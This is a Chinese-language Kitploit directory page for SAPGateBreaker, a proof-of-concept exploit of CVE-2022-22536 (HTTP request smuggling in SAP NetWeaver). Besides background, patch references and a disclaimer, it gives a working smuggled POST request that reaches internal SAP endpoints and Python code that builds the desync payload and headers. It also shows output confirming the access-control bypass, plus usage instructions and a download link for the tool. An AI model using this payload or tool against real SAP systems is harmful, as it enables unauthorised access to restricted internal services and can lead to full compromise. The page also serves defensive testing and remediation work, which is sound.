Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SAPGateBreaker-Exploit — SAPGateBreaker是CVE-2022-22536的概念验证漏洞利用,这是SAP NetWeaver中的一个严重HTTP请求走私漏洞。它演示了如何通过使用基于Content-Length的构造载荷使ICM和后端服务之间的请求解析失同步,从而绕过ACL。 | Kitploit
工具/GitHubGitHub/becodoexploit-mrcat/sapgatebreaker-exploit
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubbecodoexploit-mrcat/sapgatebreaker-exploit

SAPGateBreaker-Exploit

SAPGateBreaker是CVE-2022-22536的概念验证漏洞利用,这是SAP NetWeaver中的一个严重HTTP请求走私漏洞。它演示了如何通过使用基于Content-Length的构造载荷使ICM和后端服务之间的请求解析失同步,从而绕过ACL。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库网站
121年前尚未审核
分享

CVE-2022-22536:通过SAP前门进行HTTP走私

SAP NetWeaver应用服务器ABAP、SAP NetWeaver应用服务器Java、ABAP平台、SAP Content Server 7.53和SAP Web Dispatcher存在请求走私和请求拼接漏洞。未经身份验证的攻击者可以在受害者请求前附加任意数据。通过这种方式,攻击者可以冒充受害者执行功能,或毒化中间Web缓存。成功攻击可能导致系统机密性、完整性和可用性完全受损。

SAPGateBreaker-Exploit

SAPGateBreaker 是 CVE-2022-22536(SAP NetWeaver 中的一个关键 HTTP 请求走私漏洞)的概念验证利用工具。它演示了如何通过使用精心构造的基于 Content-Length 的载荷来使 ICM 与后端服务之间的请求解析不同步,从而绕过 ACL。

Image Image

标识为 CVE-2022-22536 的漏洞代表了 SAP NetWeaver 应用服务器中的一个关键缺陷,使安装环境暴露于 HTTP 请求走私攻击。该漏洞的 CVSS 评分为 9.8,影响 Java 和 ABAP 两种堆栈,允许攻击者绕过访问控制机制,如同在内部网络上一样与内部应用程序交互。

理解 HTTP 请求走私

HTTP 请求走私(HRS)是一种高级技术,它利用 Web 基础设施中不同组件(通常是代理、负载均衡器和后端服务器)在解释 HTTP 请求边界方面的差异。通过操纵 Content-Length 和 Transfer-Encoding 等头部,攻击者可以“走私”一个与后端服务器预期不同步的恶意请求。

本质上,当前端和后端服务器对请求的起始和结束位置存在分歧时,攻击者可以注入第二个隐藏请求,该请求将以更高的信任级别被处理。这通常会导致安全绕过,例如 WAF 规避、缓存中毒或 ACL 绕过。

CVE-2022-22536 的性质

SAP 的 ICM(Internet Communication Manager)对精心构造的 HTTP 请求解析不当,使得走私请求能够到达内部服务。这在分段架构中尤其具有影响力,因为对内部服务的直接访问受到限制。利用此漏洞,攻击者可以发出看似源自受信任内部网络的请求。

当载荷滥用对 HTTP 请求结束位置的不同解释时,漏洞就会显现。这通常涉及注入 Transfer-Encoding: chunked 头部或操纵 Content-Length 字段以引起不同步。

初始载荷失败与分块编码拒绝

在测试过程中,利用典型分块走私技术的载荷会导致 SAP ICM 返回 408 Request Timeout 响应。这种行为表明 SAP 的 HTTP 堆栈不支持预期的 Transfer-Encoding: chunked 方式,从而阻止了传统的基于分块的同步失效。

因此,利用方法转向使用 Content-Length 头部进行不同步。一个精心构造的请求,包含一个空的分块载荷后跟一个有效的辅助 HTTP 请求,成功绕过了请求边界。这种替代策略被证明可以有效地绕过内部访问控制。

最终利用策略与代码实现

有效的利用方法发送一个 POST 请求到公共端点(/sap/admin/public/default.html),其中包含 Content-Length 头部,后跟一个旨在到达内部资源的嵌入 GET 请求。

root@kitploit:~
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128

0

GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close

这导致成功访问内部资源:

root@kitploit:~
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive

实现遍历一个通常受限的内部 SAP URL 列表。比较通过直接访问和通过走私请求访问时收到的状态码。如果内部访问返回 200(而直接访问返回 403 或 404),则表明走私技术成功绕过了内部访问控制。

构建载荷的逻辑:

root@kitploit:~
def build_smuggled_request(path):
    return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"

攻击通过使用包含走私载荷的精心构造的 POST 请求执行:

root@kitploit:~
headers = {
    "Host": f"{host}:{port}",
    "Authorization": "Basic YTph",
    "Cookie": "saplb_*=(J2EE7364720)7364750",
    "Content-Type": "application/json",
    "Content-Length": str(len(body.encode("utf-8")))
}

观察到的结果

在多个测试案例中,诸如 /sap/public/bc/icf/info 或 /heapdump/ 等端点通常返回 403 Forbidden 或 404 Not Found,但通过走私请求访问时则返回 200 OK。这证明成功绕过了 SAP 的访问控制。

工具的输出包括发送的载荷和响应头部,便于精确的取证验证:

root@kitploit:~
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...

>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...

正常请求:

Image

Image

利用请求:

Image

Image

结论

CVE-2022-22536 突显了 HTTP 请求走私在现代企业软件堆栈中的持续威胁。所提供的概念验证是对潜在漏洞的演示,并可作为验证和防御测试的工具。

强烈建议管理员应用 SAP 安全更新并实施适当的反向代理保护,以防止格式错误的 HTTP 请求传播。

有关 CVE-2022-22536 的更多详情,请参阅: https://nvd.nist.gov/vuln/detail/CVE-2022-22536

SAP 安全说明: https://launchpad.support.sap.com/#/notes/3123396

SAPGateBreaker 利用工具

SAPGateBreaker 是一个独立的 Python 工具,可自动测试 CVE-2022-22536,这是 SAP NetWeaver 应用服务器中的一个关键 HTTP 请求走私漏洞。


用法

root@kitploit:~
python3 sapgatebreaker.py -u http://<目标主机>:<端口> [--verbose]

参数:

  • -u, --url: 目标 URL(例如 http://172.32.22.7:50000)
  • -v, --verbose: 为每个请求和响应启用详细的头部和正文输出

功能:

  • 通过 HTTP 头部检查检测 SAP NetWeaver 版本
  • 构建用于内部访问测试的不同步 HTTP 请求载荷
  • 比较直接响应与走私响应以识别绕过
  • 将所有数据记录到 poc.txt 以供进一步分析

修复措施: https://community.sap.com/t5/technology-blogs-by-members/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation/ba-p/13528083

免责声明

此工具仅用于教育和授权的渗透测试。未经明确许可对系统进行未授权使用是严格禁止的,并可能违反适用法律。

下载工具